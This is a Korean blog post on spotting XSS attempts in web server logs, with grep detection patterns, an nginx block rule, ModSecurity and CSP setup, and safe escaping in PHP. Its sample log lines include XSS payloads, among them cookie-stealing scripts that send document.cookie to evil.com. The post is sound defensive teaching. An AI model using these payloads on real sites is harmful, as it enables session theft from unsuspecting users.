← 블로그 목록
작성일: 2026-05-25 XSS보안WAF

웹 로그에서 XSS(Cross-Site Scripting) 공격 탐지하기

XSS(Cross-Site Scripting)는 악의적인 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다. SQL Injection과 함께 OWASP Top 10의 단골 취약점이며, 웹 서버 로그에서 공격 시도를 조기에 탐지할 수 있습니다.


XSS 공격이 로그에 남기는 흔적

공격자는 URL 파라미터, 검색어, 댓글 입력란 등에 HTML/JavaScript 코드를 삽입합니다.

반사형 XSS (Reflected XSS)

URL에 직접 스크립트를 포함:

GET /search?q=<script>alert(document.cookie)</script>
GET /page?name=<img src=x onerror=alert(1)>
GET /user?id="><script>fetch('http://evil.com?c='+document.cookie)</script>

URL 인코딩된 XSS

GET /search?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
GET /page?url=javascript:alert(document.domain)
GET /redirect?url=%2F%2Fevil.com%2Fxss.js

%3C = <, %3E = >, %2F = /


주요 XSS 탐지 패턴


grep으로 XSS 시도 탐지

기본 스크립트 태그

grep -iE "(<script|</script|<iframe|javascript:)" /var/log/nginx/access.log

이벤트 핸들러

grep -iE "(onerror=|onload=|onclick=|onmouseover=)" /var/log/nginx/access.log

URL 인코딩 포함

grep -iE "(%3Cscript|%3C%2Fscript|%3Ciframe|javascript%3A)" /var/log/nginx/access.log

XSS 시도한 IP 집계

grep -iE "(<script|onerror=|javascript:)" /var/log/nginx/access.log \
  | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

XSS 공격의 종류

1. Reflected XSS (반사형)

악의적인 스크립트가 URL에 포함되어 즉시 반사되는 형태입니다.

https://example.com/search?q=<script>alert(1)</script>

로그에 그대로 기록:

GET /search?q=<script>alert(1)</script> HTTP/1.1

2. Stored XSS (저장형)

DB에 저장된 악의적 스크립트가 다른 사용자에게 전파됩니다. 로그에는 POST 요청으로 기록:

POST /comment HTTP/1.1
Content-Length: 82

content=<script>fetch('http://evil.com?c='+document.cookie)</script>

로그에는 바디 내용이 안 보이지만, POST 경로와 상태 코드로 추적:

192.0.2.100 - - [10/Oct/2024:14:00:00 +0000] "POST /comment HTTP/1.1" 200 421

3. DOM-based XSS

JavaScript가 클라이언트 측에서 DOM을 조작하면서 발생. 서버 로그에 흔적이 거의 없습니다.


Nginx에서 XSS 차단

기본 패턴 차단

location / {
    if ($args ~* "(<script|<iframe|javascript:|onerror=|onload=)") {
        return 403;
    }
}

ModSecurity WAF 적용

OWASP Core Rule Set(CRS)는 수백 개의 XSS 패턴을 포함합니다.

sudo apt install libnginx-mod-security

/etc/nginx/modsec/main.conf:

Include /etc/nginx/modsec/crs/crs-setup.conf
Include /etc/nginx/modsec/crs/rules/*.conf

ModSecurity가 활성화되면 XSS 시도는 로그에 [id "941...] 같은 룰 ID와 함께 기록됩니다.


애플리케이션 레벨 대응

로그 모니터링만으로는 부족합니다. 근본적인 방어는 코드 레벨에서 이루어져야 합니다.

HTML 이스케이프

취약한 코드 (PHP):

echo "검색 결과: " . $_GET['q'];

안전한 코드:

echo "검색 결과: " . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');

Content Security Policy (CSP)

HTTP 헤더로 브라우저가 실행할 수 있는 스크립트를 제한합니다.

add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none';" always;

MITRE ATT&CK 매핑

패턴설명
<script>, </script>스크립트 태그 삽입
<img src=x onerror=이미지 로드 실패 이벤트 악용
<iframe src=외부 프레임 삽입
javascript:JavaScript 프로토콜 악용
onerror=, onload=, onclick=이벤트 핸들러 삽입
eval(, document.cookie악의적 JavaScript 함수
<svg onload=SVG 태그 이벤트 악용
<body onload=body 태그 이벤트
공격 유형MITRE 기법설명
XSS (일반)T1189Drive-by Compromise
Cookie 탈취T1539Steal Web Session Cookie
크리덴셜 피싱T1566Phishing

정리

XSS 공격은 로그에 <script>, onerror=, javascript: 같은 명확한 키워드를 남깁니다. grep으로 이런 패턴을 주기적으로 모니터링하고, ModSecurity 같은 WAF를 적용하면 대부분의 자동화 XSS 공격을 차단할 수 있습니다. 하지만 근본적인 해결은 모든 사용자 입력을 HTML 이스케이프 하는 것입니다.